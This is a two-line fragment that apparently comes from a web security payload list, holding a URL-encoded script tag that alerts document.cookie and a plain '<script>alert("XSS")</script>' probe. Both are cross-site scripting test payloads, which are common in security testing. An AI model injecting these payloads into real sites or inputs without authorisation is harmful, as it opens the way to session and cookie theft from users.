=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%
<script language="javascript">alert("XSS");</script>